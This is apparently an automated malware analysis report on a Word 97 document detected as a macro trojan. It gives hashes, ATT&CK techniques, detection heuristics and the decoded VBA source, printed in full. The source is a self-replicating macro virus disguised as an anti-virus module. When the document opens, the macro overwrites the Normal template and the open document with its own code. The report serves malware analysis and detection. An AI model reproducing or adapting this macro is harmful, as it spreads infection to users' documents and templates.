Office (OLE) malware analysis — malicious · f1ce3ae565576659

MALICIOUS

Office (OLE)

179.0 KB Created: 1999-12-02 01:24:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14

MD5: 568184d0666735849a53b2cb5523348c SHA-1: 6d3087a7f0ca4e181078ea24ee14d40ac4a584e9 SHA-256: f1ce3ae56557665990b0d62f344c5796144cab791b796e80408f5bc34adb6963

180 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for executing malicious code upon opening a document. The heuristics indicate the presence of macros and a Document_Open event, and ClamAV detections suggest it's a known trojan. The macro code appears to modify the Normal template, a common persistence or payload delivery mechanism.

Heuristics 3

ClamAV: Doc.Trojan.Hope-13 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Trojan.Hope-13
VBA macros detected medium 1 related finding OLE_VBA_MACROS

Document contains VBA macro code
Document_Open macro high OLE_VBA_DOCOPEN

Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	2614 bytes
SHA-256: `9b13bb34918f9ea598a68a7e6333fc4671961ce6e66ec795d766230efdc1900d`
Detection ClamAV: Doc.Trojan.Slod-3 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True '=======================================' '] Lys Kovick's Anti-Virus For Word 97 [' '] -DO NOT EDIT OR DELETE THIS MODULE- [' '=======================================' Private Sub Document_Open() Application.EnableCancelKey = wdCancelDisabled Options.ConfirmConversions = Yes Options.SaveNormalPrompt = Yes Options.VirusProtection = Yes If Application.VBE.MainWindow.Visible = True Then End TD = ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, ThisDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines) If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines > 1 Then NT = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines) If ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines > 1 Then AD = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines) If NT <> TD Then If GetAttr(NormalTemplate.FullName) = vbReadOnly Then SetAttr NormalTemplate.FullName, vbNormal NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.AddFromString TD NormalTemplate.Saved = True Else NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.AddFromString TD End If End If If AD <> TD Then If ActiveDocument.ReadOnly = True Then SetAttr ActiveDocument.FullName, vbNormal ActiveDocument.Reload ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.AddFromString TD ActiveDocument.SaveAs FileName:=ActiveDocument.FullName SetAttr ActiveDocument.FullName, vbReadOnly ActiveDocument.Reload Else ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.AddFromString TD ActiveDocument.SaveAs FileName:=ActiveDocument.FullName End If End If End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.